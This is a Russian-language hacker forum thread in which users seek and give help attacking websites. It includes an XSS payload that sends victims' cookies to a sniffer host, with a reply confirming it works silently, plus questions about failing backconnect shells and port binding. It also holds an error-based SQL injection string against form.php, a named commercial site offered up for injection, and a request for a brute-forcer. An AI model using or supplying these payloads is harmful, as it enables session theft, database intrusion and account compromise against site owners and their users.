Подскажите пожалуйста.
На сайте при вводе вместо логина <script>alert()</script> выскакивает табличка. я так понял это xss. Покурили маны малеха ну так и не допёр. модифицирую запрос до
<sсriрt>img = new Image(); img.src = "путь до снифа?"+document.cookie;</sсriрt>

вставляю в то же поля и ничего не выскакивает. в чем прикол?

Прикол в том, что ничего и не выскочит, но куки отправятся на сниффер.

Спасибо. буду разбираться. у меня сниф делюкс и мильти каника, что то не ловит куки.

Что может мешать сделать бекконект ?Система freebsd 7.2.
Спасибо

Может быть тот порт занят через который ты бэкконнект делаешь.

сорь, я неправильно поставил вопрос.
Что мешает забиндить порт?

Подскажите, как правильно составить запрос?

form.php?pageid=93'+and+(select*from(select+count( *)from(select+1+union+select+2+union+select+3)x+gr oup+by+concat(mid((select+TABLE_NAME+from+INFORMAT ION_SCHEMA.COLUMNS+where+column_name+like+0x257025 ),1,64),floor(rand(0)*2)))z)+--+

Hi Team;

http://www.ibuycc.com.cn/product.php?id=77'

этого сайта SQL ошибка. Я пытался использовать "union select" до 50, но не результатом
Можем ли мы "inject" этот сайт?

есть готовый брут под этот случай?